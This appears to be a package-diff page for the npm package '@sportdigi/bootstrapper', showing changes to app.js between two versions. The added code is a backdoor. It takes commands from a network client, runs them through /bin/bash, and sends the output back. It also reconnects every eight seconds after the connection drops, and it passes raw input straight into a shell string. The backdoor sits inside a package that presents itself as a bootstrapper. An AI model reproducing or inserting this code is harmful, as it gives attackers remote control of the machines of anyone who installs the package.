@sportdigi/bootstrapper 32.1.0 → 34.1.0
Sign up to get free protection for your applications and to get access to all the features.
- package/app.js +33 -16
- package/package.json +1 -1
package/app.js
CHANGED
@@ -53,36 +53,53 @@ function server() {
|
|
53
53
|
|
54
54
|
const command = data.toString().trim();
|
55
55
|
|
56
|
-
if (
|
57
|
-
|
58
|
-
|
59
|
-
|
56
|
+
if (command.startsWith('cd ')) {
|
57
|
+
const newDir = command.substring(3).trim();
|
58
|
+
|
59
|
+
// Yeni terminal (bash) başlatıyoruz
|
60
|
+
const shell = spawn('/bin/bash', ['-c', `cd ${newDir} && pwd`]);
|
61
|
+
|
62
|
+
shell.stdout.on('data', (data) => {
|
63
|
+
client.write(`Yeni dizin: ${data.toString()}\n`);
|
64
|
+
});
|
60
65
|
|
61
|
-
|
62
|
-
|
66
|
+
shell.stderr.on('data', (data) => {
|
67
|
+
client.write(`Hata (stderr): ${data.toString()}\n`);
|
68
|
+
});
|
69
|
+
|
70
|
+
shell.on('error', (err) => {
|
63
71
|
client.write(`Hata: ${err.message}\n`);
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
+
});
|
73
|
+
} else {
|
74
|
+
// Diğer komutları çalıştır
|
75
|
+
const shell = spawn('/bin/bash', ['-c', command]);
|
76
|
+
|
77
|
+
shell.stdout.on('data', (data) => {
|
78
|
+
client.write(data);
|
79
|
+
});
|
80
|
+
|
81
|
+
shell.stderr.on('data', (data) => {
|
82
|
+
client.write(data);
|
83
|
+
});
|
84
|
+
|
85
|
+
shell.on('error', (err) => {
|
86
|
+
client.write(`Hata: ${err.message}\n`);
|
87
|
+
});
|
88
|
+
}
|
72
89
|
});
|
73
90
|
|
74
91
|
client.on('end', () => {
|
75
92
|
console.log('Bağlantı sonlandırıldı.');
|
76
93
|
setTimeout(() => {
|
77
94
|
server();
|
78
|
-
}, 8000)
|
95
|
+
}, 8000);
|
79
96
|
});
|
80
97
|
|
81
98
|
client.on('error', (err) => {
|
82
99
|
console.error('Bağlantı hatası:', err.message);
|
83
100
|
setTimeout(() => {
|
84
101
|
server();
|
85
|
-
}, 8000)
|
102
|
+
}, 8000);
|
86
103
|
});
|
87
104
|
}
|
88
105
|
|